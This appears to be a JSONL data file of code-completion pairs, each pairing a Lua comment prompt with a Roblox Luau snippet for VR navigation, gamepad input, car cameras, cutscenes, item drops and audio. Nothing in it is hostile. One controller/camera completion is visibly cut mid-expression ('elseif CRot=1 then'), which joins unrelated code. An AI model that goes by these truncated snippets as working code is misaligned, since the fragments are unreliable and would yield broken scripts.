VRService:GetUserCFrameEnabled(Enum.UserCFrame.RightHand) or VRService:GetUserCFrameEnabled(Enum.UserCFrame.LeftHand)\nend\n\nfunction VRNavigation:IsMobileVR()\n\treturn UserInputService.TouchEnabled\nend\n\nfunction VRNavigation:HasGamepad()\n\treturn UserInputService.GamepadEnabled\nend\n\nfunction VRNavigation:ShouldUseNavigationLaser()\n\t--Places where we use the navigation laser:\n\t-- mobile VR with any number of hands tracked\n\t-- desktop VR with only one hand tracked\n\t-- desktop VR with no hands and no gamepad (i.e. with Oculus remote?)\n\t--using an Xbox controller with a desktop VR headset means no laser since the user has a thumbstick.\n\t--in the future, we should query thumbstick presence with a features API\n\tif self:IsMobileVR() then\n\t\treturn true\n\telse\n\t\tif self:HasBothHandControllers() then\n\t\t\treturn false\n\t\tend\n\t\tif not self:HasAnyHandControllers() then\n\t\t\treturn not self:HasGamepad()\n\t\tend\n\t\treturn true\n\tend\nend\n\n\n\nfunction VRNavigation:StartFollowingPath(newPath)\n\tcurrentPath = newPath\n\tcurrentPoints = currentPath:GetPointCoordinates()\n\tcurrentPointIdx = 1\n\tmoving = true\n\n\ttimeReachedLastPoint = tick()\n\n\tlocal humanoid = self:GetLocalHumanoid()\n\tif humanoid and humanoid.Torso and #currentPoints >= 1 then\n\t\tlocal dist = (currentPoints[1] - humanoid.Torso.Position).magnitude\n\t\texpectedTimeToNextPoint = dist / humanoid.WalkSpeed\n\tend\n\n\tmovementUpdateEvent:Fire(\"targetPoint\", self.currentDestination)\nend\n\nfunction VRNavigation:GoToPoint(point)\n\tcurrentPath = true\n\tcurrentPoints = { point }\n\tcurrentPointIdx = 1\n\tmoving = true\n\n\tlocal humanoid = self:GetLocalHumanoid()\n\tlocal distance = (humanoid.Torso.Position - point).magnitude\n\tlocal estimatedTimeRemaining = distance / humanoid.WalkSpeed\n\n\ttimeReachedLastPoint = tick()\n\texpectedTimeToNextPoint = estimatedTimeRemaining\n\n\tmovementUpdateEvent:Fire(\"targetPoint\", point)\nend\n\nfunction VRNavigation:StopFollowingPath()\n\tcurrentPath = nil\n\tcurrentPoints = nil\n\tcurrentPointIdx = 0\n\tmoving = false\n\tself.moveVector = ZERO_VECTOR3\nend\n\nfunction VRNavigation:TryComputePath(startPos: Vector3, destination: Vector3)\n\tlocal numAttempts = 0\n\tlocal newPath = nil\n\n\twhile not newPath and numAttempts < 5 do\n\t\tnewPath = PathfindingService:ComputeSmoothPathAsync(startPos, destination, MAX_PATHING_DISTANCE)\n\t\tnumAttempts = numAttempts + 1\n\n\t\tif newPath.Status == Enum.PathStatus.ClosestNoPath or newPath.Status == Enum.PathStatus.ClosestOutOfRange then\n\t\t\tnewPath = nil\n\t\t\tbreak\n\t\tend\n\n\t\tif newPath and newPath.Status == Enum.PathStatus.FailStartNotEmpty then\n\t\t\tstartPos = startPos + (destination - startPos).unit\n\t\t\tnewPath = nil\n\t\tend\n\n\t\tif newPath and newPath.Status == Enum.PathStatus.FailFinishNotEmpty then\n\t\t\tdestination = destination + Vector3.new(0, 1, 0)\n\t\t\tnewPath = nil\n\t\tend\n\tend\n\n\treturn newPath\nend\n\nfunction VRNavigation:OnNavigationRequest(destinationCFrame: CFrame, inputUserCFrame: CFrame)\n\tlocal destinationPosition = destinationCFrame.p\n\tlocal lastDestination = self.currentDestination\n\n\tif not IsFiniteVector3(destinationPosition) then\n\t\treturn\n\tend\n\n\tself.currentDestination = destinationPosition\n\n\tlocal humanoid = self:GetLocalHumanoid()\n\tif not humanoid or not humanoid.Torso then\n\t\treturn\n\tend\n\n\tlocal currentPosition = humanoid.Torso.Position\n\tlocal distanceToDestination = (self.currentDestination - currentPosition).magnitude\n\n\tif distanceToDestination < NO_PATH_THRESHOLD then\n\t\tself:GoToPoint(self.currentDestination)\n\t\treturn\n\tend\n\n\tif not lastDestination or (self.currentDestination - lastDestination).magnitude > RECALCULATE_PATH_THRESHOLD then\n\t\tlocal newPath = self:TryComputePath(currentPosition, self.currentDestination)\n\t\tif newPath then\n\t\t\tself:StartFollowingPath(newPath)\n\t\t\tif PathDisplay then\n\t\t\t\tPathDisplay.setCurrentPoints(self.currentPoints)\n\t\t\t\tPathDisplay.renderPath()\n\t\t\tend\n\t\telse\n\t\t\tself:StopFollowingPath()\n\t\t\tif PathDisplay then\n\t\t\t\tPathDisplay.clearRenderedPath()\n\t\t\tend\n\t\tend\n\telse\n\t\tif moving then\n\t\t\tself.currentPoints[#currentPoints] = self.currentDestination\n\t\telse\n\t\t\tself:GoToPoint(self.currentDestination)\n\t\tend\n\tend\nend\n\nfunction VRNavigation:OnJumpAction(actionName, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin then\n\t\tself.isJumping = true\n\tend\n\treturn Enum.ContextActionResult.Sink\nend\nfunction VRNavigation:BindJumpAction(active)\n\tif active then\n\t\tif not self.isJumpBound then\n\t\t\tself.isJumpBound = true\n\t\t\tContextActionService:BindActionAtPriority(\"VRJumpAction\", (function() return self:OnJumpAction() end), false,\n\t\t\t\tself.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA)\n\t\tend\n\telse\n\t\tif self.isJumpBound then\n\t\t\tself.isJumpBound = false\n\t\t\tContextActionService:UnbindAction(\"VRJumpAction\")\n\t\tend\n\tend\nend\n\nfunction VRNavigation:ControlCharacterGamepad(actionName, inputState, inputObject)\n\tif inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end\n\n\tif inputState == Enum.UserInputState.Cancel then\n\t\tself.moveVector = ZERO_VECTOR3\n\t\treturn\n\tend\n\n\tif inputState ~= Enum.UserInputState.End then\n\t\tself:StopFollowingPath()\n\t\tif PathDisplay then\n\t\t\tPathDisplay.clearRenderedPath()\n\t\tend\n\n\t\tif self:ShouldUseNavigationLaser() then\n\t\t\tself:BindJumpAction(true)\n\t\t\tself:SetLaserPointerMode(\"Hidden\")\n\t\tend\n\n\t\tif inputObject.Position.magnitude > THUMBSTICK_DEADZONE then\n\t\t\tself.moveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)\n\t\t\tif self.moveVector.magnitude > 0 then\n\t\t\t\tself.moveVector = self.moveVector.unit * math.min(1, inputObject.Position.magnitude)\n\t\t\tend\n\n\t\t\tself.moveLatch = true\n\t\tend\n\telse\n\t\tself.moveVector = ZERO_VECTOR3\n\n\t\tif self:ShouldUseNavigationLaser() then\n\t\t\tself:BindJumpAction(false)\n\t\t\tself:SetLaserPointerMode(\"Navigation\")\n\t\tend\n\n\t\tif self.moveLatch then\n\t\t\tself.moveLatch = false\n\t\t\tmovementUpdateEvent:Fire(\"offtrack\")\n\t\tend\n\tend\n\treturn Enum.ContextActionResult.Sink\nend\n\nfunction VRNavigation:OnHeartbeat(dt)\n\tlocal newMoveVector = self.moveVector\n\tlocal humanoid = self:GetLocalHumanoid()\n\tif not humanoid or not humanoid.Torso then\n\t\treturn\n\tend\n\n\tif self.moving and self.currentPoints then\n\t\tlocal currentPosition = humanoid.Torso.Position\n\t\tlocal goalPosition = currentPoints[1]\n\t\tlocal vectorToGoal = (goalPosition - currentPosition) * XZ_VECTOR3\n\t\tlocal moveDist = vectorToGoal.magnitude\n\t\tlocal moveDir = vectorToGoal / moveDist\n\n\t\tif moveDist < POINT_REACHED_THRESHOLD then\n\t\t\tlocal estimatedTimeRemaining = 0\n\t\t\tlocal prevPoint = currentPoints[1]\n\t\t\tfor i, point in pairs(currentPoints) do\n\t\t\t\tif i ~= 1 then\n\t\t\t\t\tlocal dist = (point - prevPoint).magnitude\n\t\t\t\t\tprevPoint = point\n\t\t\t\t\testimatedTimeRemaining = estimatedTimeRemaining + (dist / humanoid.WalkSpeed)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\ttable.remove(currentPoints, 1)\n\t\t\tcurrentPointIdx = currentPointIdx + 1\n\n\t\t\tif #currentPoints == 0 then\n\t\t\t\tself:StopFollowingPath()\n\t\t\t\tif PathDisplay then\n\t\t\t\t\tPathDisplay.clearRenderedPath()\n\t\t\t\tend\n\t\t\t\treturn\n\t\t\telse\n\t\t\t\tif PathDisplay then\n\t\t\t\t\tPathDisplay.setCurrentPoints(currentPoints)\n\t\t\t\t\tPathDisplay.renderPath()\n\t\t\t\tend\n\n\t\t\t\tlocal newGoal = currentPoints[1]\n\t\t\t\tlocal distanceToGoal = (newGoal - currentPosition).magnitude\n\t\t\t\texpectedTimeToNextPoint = distanceToGoal / humanoid.WalkSpeed\n\t\t\t\ttimeReachedLastPoint = tick()\n\t\t\tend\n\t\telse\n\t\t\tlocal ignoreTable = {\n\t\t\t\tgame.Players.LocalPlayer.Character,\n\t\t\t\tworkspace.CurrentCamera\n\t\t\t}\n\t\t\tlocal obstructRay = Ray.new(currentPosition - Vector3.new(0, 1, 0), moveDir * 3)\n\t\t\tlocal obstructPart, obstructPoint, obstructNormal = workspace:FindPartOnRayWithIgnoreList(obstructRay, ignoreTable)\n\n\t\t\tif obstructPart then\n\t\t\t\tlocal heightOffset = Vector3.new(0, 100, 0)\n\t\t\t\tlocal jumpCheckRay = Ray.new(obstructPoint + moveDir * 0.5 + heightOffset, -heightOffset)\n\t\t\t\tlocal jumpCheckPart, jumpCheckPoint, jumpCheckNormal = workspace:FindPartOnRayWithIgnoreList(jumpCheckRay, ignoreTable)\n\n\t\t\t\tlocal heightDifference = jumpCheckPoint.Y - currentPosition.Y\n\t\t\t\tif heightDifference < 6 and heightDifference > -2 then\n\t\t\t\t\thumanoid.Jump = true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal timeSinceLastPoint = tick() - timeReachedLastPoint\n\t\t\tif timeSinceLastPoint > expectedTimeToNextPoint + OFFTRACK_TIME_THRESHOLD then\n\t\t\t\tself:StopFollowingPath()\n\t\t\t\tif PathDisplay then\n\t\t\t\t\tPathDisplay.clearRenderedPath()\n\t\t\t\tend\n\n\t\t\t\tmovementUpdateEvent:Fire(\"offtrack\")\n\t\t\tend\n\n\t\t\tnewMoveVector = self.moveVector:Lerp(moveDir, dt * 10)\n\t\tend\n\tend\n\n\tif IsFiniteVector3(newMoveVector) then\n\t\tself.moveVector = newMoveVector\n\tend\nend\n\n\nfunction VRNavigation:OnUserCFrameEnabled()\n\tif self:ShouldUseNavigationLaser() then\n\t\tself:BindJumpAction(false)\n\t\tself:SetLaserPointerMode(\"Navigation\")\n\telse\n\t\tself:BindJumpAction(true)\n\t\tself:SetLaserPointerMode(\"Hidden\")\n\tend\nend\n\nfunction VRNavigation:Enable(enable)\n\n\tself.moveVector = ZERO_VECTOR3\n\tself.isJumping = false\n\n\tif enable then\n\t\tself.navigationRequestedConn = VRService.NavigationRequested:Connect(function(destinationCFrame, inputUserCFrame) self:OnNavigationRequest(destinationCFrame, inputUserCFrame) end)\n\t\tself.heartbeatConn = RunService.Heartbeat:Connect(function(dt) self:OnHeartbeat(dt) end)\n\n\t\tContextActionService:BindAction(\"MoveThumbstick\", (function(actionName, inputState, inputObject) return self:ControlCharacterGamepad(actionName, inputState, inputObject) end),\n\t\t\tfalse, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1)\n\t\tContextActionService:BindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2)\n\n\t\tself.userCFrameEnabledConn = VRService.UserCFrameEnabled:Connect(function() self:OnUserCFrameEnabled() end)\n\t\tself:OnUserCFrameEnabled()\n\n\t\tVRService:SetTouchpadMode(Enum.VRTouchpad.Left, Enum.VRTouchpadMode.VirtualThumbstick)\n\t\tVRService:SetTouchpadMode(Enum.VRTouchpad.Right, Enum.VRTouchpadMode.ABXY)\n\n\t\tself.enabled = true\n\telse\n\t\t-- Disable\n\t\tself:StopFollowingPath()\n\n\t\tContextActionService:UnbindAction(\"MoveThumbstick\")\n\t\tContextActionService:UnbindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2)\n\n\t\tself:BindJumpAction(false)\n\t\tself:SetLaserPointerMode(\"Disabled\")\n\n\t\tif self.navigationRequestedConn then\n\t\t\tself.navigationRequestedConn:Disconnect()\n\t\t\tself.navigationRequestedConn = nil\n\t\tend\n\t\tif self.heartbeatConn then\n\t\t\tself.heartbeatConn:Disconnect()\n\t\t\tself.heartbeatConn = nil\n\t\tend\n\t\tif self.userCFrameEnabledConn then\n\t\t\tself.userCFrameEnabledConn:Disconnect()\n\t\t\tself.userCFrameEnabledConn = nil\n\t\tend\n\t\tself.enabled = false\n\tend\nend\n\nreturn VRNavigation\n"} +{"prompt": "---Controller", "completion": "\nlocal Controller=false\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal LStickX = 0\nlocal RStickX = 0\nlocal RStickY = 0\nlocal RTriggerValue = 0\nlocal LTriggerValue = 0\n\nlocal ButtonX = 0\nlocal ButtonY = 0\nlocal ButtonL1 = 0\nlocal ButtonR1 = 0\nlocal ButtonR3 = 0\nlocal DPadUp = 0\nfunction DealWithInput(input,IsRobloxFunction)\n\tif Controller then\n\t\tif input.KeyCode ==Enum.KeyCode.ButtonX then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonX=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonX=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonY then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonY=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonY=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonL1 then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonL1=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonL1=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonR1 then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonR1=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonR1=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.DPadLeft then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tDPadUp=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tDPadUp=0\n\t\t\tend\n\t\telseif input.KeyCode ==Enum.KeyCode.ButtonR3 then\n\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tButtonR3=1\n\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\tButtonR3=0\n\t\t\tend\n\t\tend\n\t\tif input.UserInputType.Name:find(\"Gamepad\") then --it's one of 4 gamepads\n\t\t\tif input.KeyCode == Enum.KeyCode.Thumbstick1 then\n\t\t\t\tLStickX = input.Position.X\n\t\t\telseif input.KeyCode == Enum.KeyCode.Thumbstick2 then\n\t\t\t\tRStickX = input.Position.X\n\t\t\t\tRStickY = input.Position.Y\n\t\t\telseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder\n\t\t\t\tRTriggerValue = input.Position.Z\n\t\t\telseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder\n\t\t\t\tLTriggerValue = input.Position.Z\n\t\t\tend\n\t\tend\n\tend\nend\nUserInputService.InputBegan:connect(DealWithInput)\nUserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too\nUserInputService.InputEnded:connect(DealWithInput)\n\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" then\n\t\tfor i,v in pairs(Binded) do\n\t\t\trun:UnbindFromRenderStep(v)\n\t\tend \n\t\tworkspace.CurrentCamera.CameraType=Enum.CameraType.Custom\n\t\tworkspace.CurrentCamera.FieldOfView=70\n\t\tplayer.CameraMaxZoomDistance=200\n\tend\nend)\n\nfunction Camera()\n\tlocal cam=workspace.CurrentCamera\n\tlocal intcam=false\n\tlocal CRot=0\n\tlocal CBack=0\n\tlocal CUp=0\n\tlocal mode=0\n\tlocal look=0\n\tlocal camChange = 0\n\tlocal function CamUpdate()\n\t\tif not pcall (function()\n\t\t\tif camChange==0 and DPadUp==1 then\n\t\t\t\tintcam = not intcam\n\t\t\tend\n\t\t\tcamChange=DPadUp\n\t\t\tif mode==1 then\n\t\t\t\tif math.abs(RStickX)>.1 then\n\t\t\t\t\tlocal sPos=1\n\t\t\t\t\tif RStickX<0 then sPos=-1 end\n\t\t\t\t\tif intcam then\n\t\t\t\t\t\tCRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80\n\t\t\t\t\telse\n\t\t\t\t\t\tCRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tCRot=0\n\t\t\t\tend\n\t\t\t\tif math.abs(RStickY)>.1 then\n\t\t\t\t\tlocal sPos=1\n\t\t\t\t\tif RStickY<0 then sPos=-1 end\n\t\t\t\t\tif intcam then\n\t\t\t\t\t\tCUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30\n\t\t\t\t\telse\n\t\t\t\t\t\tCUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tCUp=0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif CRot>look then\n\t\t\t\t\tCRot=math.max(look,CRot-20)\n\t\t\t\telseif CRot=1 then\n\t\t\tGMode=0\n\t\telse\n\t\t\tGMode=GMode+1\n\t\tend\n\t\tif GMode==1 then\n\t\t\tController=true\n\t\telse\n\t\t\tController=false\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[\n\t\tVRNavigation\n--]]", "completion": "\n\nlocal VRService = game:GetService(\"VRService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal RunService = game:GetService(\"RunService\")\nlocal Players = game:GetService(\"Players\")\nlocal PathfindingService = game:GetService(\"PathfindingService\")\nlocal ContextActionService = game:GetService(\"ContextActionService\")\nlocal StarterGui = game:GetService(\"StarterGui\")\n"} +{"prompt": "--------------------\n--| Script Logic |--\n--------------------", "completion": "\n\nSwooshSound:Play()\n\nRocket.Touched:connect(OnTouched)\n"} +{"prompt": "--- Returns whatever the Transform method gave us.", "completion": "\nfunction Argument:GetTransformedValue(segment)\n\treturn unpack(self.TransformedValues[segment])\nend\n"} +{"prompt": "-- Only change the number below! --", "completion": "\nlocal jumpCooldown = .05 -- Change this to the cooldown for every jump (decimals accepted)"} +{"prompt": "--[[\n\tEnters the view, cloning the element from ReplicatedStorage.\n]]", "completion": "\nfunction PreGame.enter()\n\tactiveElements = elements:Clone()\n\n\tactiveElements.Parent = LocalPlayer.PlayerGui\n\n\tactiveConnections.startIntermission = startIntermission.OnClientEvent:Connect(startCountdown)\nend\n"} +{"prompt": "-- Cold water", "completion": "\nfaucet.ColdWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()\n\tfaucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-30),0,0))\n\tp.ColdOn.Value = true\n\tp.HotOn.Value = false\nend)\n"} +{"prompt": "-- Function to play an audio asset", "completion": "\nAudioPlayer.playAudio = function(assetName)\n\tlocal audio = SoundService:FindFirstChild(assetName)\n\tif not audio then\n\t\twarn(\"Could not find audio asset: \" .. assetName)\n\t\treturn\n\tend\n\tif not audio.IsLoaded then\n\t\taudio.Loaded:Wait()\n\tend\n\n\t-- Setup a tween so the track starts quiet and then fades in to a normal volume\n\taudio.Volume = 0\n\taudio.Looped = true\n\t\n\tlocal fadeTween = TweenService:Create(audio, TweenInfo.new(10), {Volume = .3})\n\n\taudio:Play()\n\n\t-- Fade in the audio track\n\tfadeTween:Play()\n\tfadeTween.Completed:Connect(function(State)\n\t\tif State == Enum.PlaybackState.Completed then\n\t\t\tfadeTween:Destroy()\n\t\tend\n\tend)\nend\n \nreturn AudioPlayer\n"} +{"prompt": "-- Actual measured distance to the camera Focus point, which may be needed in special circumstances, but should\n-- never be used as the starting point for updating the nominal camera-to-subject distance (self.currentSubjectDistance)\n-- since that is a desired target value set only by mouse wheel (or equivalent) input, PopperCam, and clamped to min max camera distance", "completion": "\nfunction BaseCamera:GetMeasuredDistanceToFocus()\n\tlocal camera = game.Workspace.CurrentCamera\n\tif camera then\n\t\treturn (camera.CoordinateFrame.p - camera.Focus.p).magnitude\n\tend\n\treturn nil\nend\n\nfunction BaseCamera:GetCameraLookVector()\n\treturn game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame.lookVector or UNIT_Z\nend\n"} +{"prompt": "-- run for the first time", "completion": "\nif portalTemplate:GetAttribute('FallbackImage') then \n\tupdateFallbackImage() \nend\n"} +{"prompt": "-- Loading", "completion": "\nlocal CutsceneFolder = workspace.Cutscenes:WaitForChild(\"Start\") -- The folder that contains the cutscene data (Cameras...)\nlocal Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!\nlocal NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded\nlocal SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.\n\nlocal Cutscene = require(CutsceneModule)\n\nlocal Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene\nDemo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder\n\nlocal PlayOnPartTouch = script:FindFirstChild(\"PlayOnPartTouch\")\nlocal PlayOnPlayerJoin = script:FindFirstChild(\"PlayOnPlayerJoin\")\nlocal PlayOnCharacterAdded = script:FindFirstChild(\"PlayOnCharacterAdded\")\nlocal PlayOnCharacterDied = script:FindFirstChild(\"PlayOnCharacterDied\")\nlocal PlayOnEventFire = script:FindFirstChild(\"PlayOnEventFire\")\nlocal PlayOnRemoteEventFire = script:FindFirstChild(\"PlayOnRemoteEventFire\")\nlocal ProtectTheCharacterWhilePlaying = script:FindFirstChild(\"ProtectTheCharacterWhilePlaying\")\nlocal CharacterProtector = script:FindFirstChild(\"CharacterProtector\")\nlocal Music = script:FindFirstChild(\"Music\")\nlocal StopMusicWhenFinished = script:FindFirstChild(\"StopMusicWhenFinished\")\nlocal StopOnEventFire = script:FindFirstChild(\"StopOnEventFire\")\nlocal StopOnRemoteEventFire = script:FindFirstChild(\"StopOnRemoteEventFire\")\nlocal PlayOnce = script:FindFirstChild(\"PlayOnce\")\nlocal Debounce = script:FindFirstChild(\"Cooldown\")\nlocal OnFinishedRemove = script:FindFirstChild(\"OnFinishedRemove\")\nlocal bin = true\nlocal Player = game:GetService(\"Players\").LocalPlayer\nlocal CutsceneGui = script:FindFirstChild(\"Cutscene\")\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Libraries = Tool:WaitForChild 'Libraries'\nlocal Support = require(Libraries:WaitForChild 'SupportLibrary')\nlocal Maid = require(Libraries:WaitForChild 'Maid')\n"} +{"prompt": "-- CONSTANTS", "completion": "\n\nlocal GuiLib = script.Parent.Parent\nlocal Lazy = require(GuiLib:WaitForChild(\"LazyLoader\"))\nlocal Defaults = GuiLib:WaitForChild(\"Defaults\")\n\nlocal UIS = game:GetService(\"UserInputService\")\nlocal RUNSERVICE = game:GetService(\"RunService\")\nlocal CONSTANTS = require(script:WaitForChild(\"CONSTANTS\"))\n\nlocal PI = math.pi\nlocal TAU = CONSTANTS.TAU\nlocal EX_OFFSET = CONSTANTS.EX_OFFSET\n\nlocal GAMEPAD_CLICK = {\n\t[Enum.KeyCode.ButtonA] = true\n}\n\nlocal MOUSE_GROUP = {\n\t[Enum.UserInputType.MouseButton1] = true,\n\t[Enum.UserInputType.MouseMovement] = true,\n\t[Enum.UserInputType.Touch] = true\n}\n\nlocal GAMEPAD_GROUP = {\n\t[Enum.UserInputType.Gamepad1] = true,\n\t[Enum.UserInputType.Gamepad2] = true,\n\t[Enum.UserInputType.Gamepad3] = true,\n\t[Enum.UserInputType.Gamepad4] = true,\n\t[Enum.UserInputType.Gamepad5] = true,\n\t[Enum.UserInputType.Gamepad6] = true,\n\t[Enum.UserInputType.Gamepad7] = true,\n\t[Enum.UserInputType.Gamepad8] = true\n}\n\nlocal CreateRadial = require(script:WaitForChild(\"CreateRadial\"))\n"} +{"prompt": "--\t\t\t\tif runAnimTrack.Looped ~= true then\n--\t\t\t\t\trunAnimTrack.TimePosition = 0.0\n--\t\t\t\tend", "completion": "\n\t\t\t\tif currentAnimTrack.Looped ~= true then\n\t\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\telse"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nlocal car = script.Parent.Car.Value\nlocal handler = car.Brakeoverheat\nlocal FE = workspace.FilteringEnabled\ncar.DriveSeat.Brakes:Play()\nif not FE then\n while wait() do\n if script.Parent.Values.Brake.Value > 0.1 and (car.Wheels.RR.RotVelocity.Magnitude + car.Wheels.FR.RotVelocity.Magnitude + car.Wheels.FL.RotVelocity.Magnitude + car.Wheels.RL.RotVelocity.Magnitude) / 4 > 10 and script.Parent.Values.Gear.Value > 0 then\n car.DriveSeat.Brakes.Volume = math.max(script.Parent.Values.Brake.Value / 2 - 0.35, 0)\n else\n car.DriveSeat.Brakes.Volume = math.max(car.DriveSeat.Brakes.Volume - 10, 0)\n end\n end\nelse\n handler:FireServer(\"SoundPlay\")\n while wait() do\n handler:FireServer(\"SoundUpdate\", sound)\n if script.Parent.Values.Brake.Value > 0.1 and (car.Wheels.RR.RotVelocity.Magnitude + car.Wheels.FR.RotVelocity.Magnitude + car.Wheels.FL.RotVelocity.Magnitude + car.Wheels.RL.RotVelocity.Magnitude) / 4 > 10 and script.Parent.Values.Gear.Value > 0 then\n sound = math.max(script.Parent.Values.Brake.Value / 2 - 0.35, 0)\n else\n sound = math.max(car.DriveSeat.Brakes.Volume - 10, 0)\n end\n end\nend\n"} +{"prompt": "-- Updates the GUI whenever the player starts to give them the most up to date status. ", "completion": "\nupdateText()\n\npoints.Changed:Connect(updateText)\n"} +{"prompt": "--| Service |--", "completion": "\nlocal Players = game:GetService(\"Players\")\nlocal Replicated = game:GetService(\"ReplicatedStorage\")\nlocal Debris = game:GetService(\"Debris\")\n"} +{"prompt": "-- functions", "completion": "\n\nlocal function DropAmmo(ammo, position, amount)\n\tlocal drop\t= DROP:Clone()\n\t\tdrop.Name\t= ammo\n\t\tdrop.CFrame\t= CFrame.new(position)\n\t\t\n\t\tlocal itemValue\t\t= Instance.new(\"StringValue\")\n\t\t\titemValue.Name\t\t= \"Ammo\"\n\t\t\titemValue.Value\t\t= ammo\n\t\t\titemValue.Parent\t= drop\n\t\t\t\n\t\tlocal amountValue\t= Instance.new(\"IntValue\")\n\t\t\tamountValue.Name\t= \"Stack\"\n\t\t\tamountValue.Value\t= amount\n\t\t\tamountValue.Parent\t= drop\n\t\t\n\t\tdrop.Parent\t= DROPS\nend\n\nlocal function DropAttachment(attachment, position)\n\tlocal drop\t= DROP:Clone()\n\t\tdrop.Name\t= attachment\n\t\tdrop.CFrame\t= CFrame.new(position)\n\t\t\n\t\tlocal itemValue\t\t= Instance.new(\"StringValue\")\n\t\t\titemValue.Name\t\t= \"Attachment\"\n\t\t\titemValue.Value\t\t= attachment\n\t\t\titemValue.Parent\t= drop\n\t\t\n\t\tdrop.Parent\t= DROPS\nend\n\nlocal function DropArmor(armor, position)\n\tlocal drop\t= DROP:Clone()\n\t\tdrop.Name\t= armor\n\t\tdrop.CFrame\t= CFrame.new(position)\n\t\t\n\t\tlocal itemValue\t\t= Instance.new(\"StringValue\")\n\t\t\titemValue.Name\t\t= \"Armor\"\n\t\t\titemValue.Value\t\t= armor\n\t\t\titemValue.Parent\t= drop\n\t\t\n\t\tdrop.Parent\t= DROPS\nend\n\nlocal function DropItem(item, position, base)\n\tif not base then\n\t\tbase\t= ITEMS:FindFirstChild(item)\n\tend\n\t\n\tlocal drop\t= DROP:Clone()\n\t\tdrop.Name\t= item\n\t\tdrop.CFrame\t= CFrame.new(position)\n\t\t\n\t\tlocal itemValue\t\t= Instance.new(\"StringValue\")\n\t\t\titemValue.Name\t\t= \"Item\"\n\t\t\titemValue.Value\t\t= item\n\t\t\titemValue.Parent\t= drop\n\t\t\n\t\tif base:FindFirstChild(\"Ammo\") then\n\t\t\tbase.Ammo:Clone().Parent\t= drop\n\t\tend\n\t\t\n\t\tif base:FindFirstChild(\"Loaded\") then\n\t\t\tbase.Loaded:Clone().Parent\t= drop\n\t\tend\n\t\t\n\t\tif base:FindFirstChild(\"Attachments\") then\n\t\t\tlocal attachments\t= Instance.new(\"Folder\")\n\t\t\t\tattachments.Name\t= \"Attachments\"\n\t\t\t\tattachments.Parent\t= drop\n\t\t\t\t\n\t\t\tfor _, attachment in pairs(base.Attachments:GetChildren()) do\n\t\t\t\tlocal val\t= Instance.new(\"StringValue\")\n\t\t\t\t\tval.Name\t= attachment.Name\n\t\t\t\t\tval.Value\t= attachment.Name\n\t\t\t\t\tval.Parent\t= attachments\n\t\t\tend\n\t\tend\n\t\t\n\t\tdrop.Parent\t= DROPS\nend\n\nlocal function DropBooster(item, position, amount)\n\tlocal base\t= ITEMS:FindFirstChild(item)\n\t\n\tlocal drop\t= DROP:Clone()\n\t\tdrop.Name\t= item\n\t\tdrop.CFrame\t= CFrame.new(position)\n\t\t\n\t\tlocal itemValue\t\t= Instance.new(\"StringValue\")\n\t\t\titemValue.Name\t\t= \"Booster\"\n\t\t\titemValue.Value\t\t= item\n\t\t\titemValue.Parent\t= drop\n\t\t\n\t\t\n\t\tlocal stackValue\t= 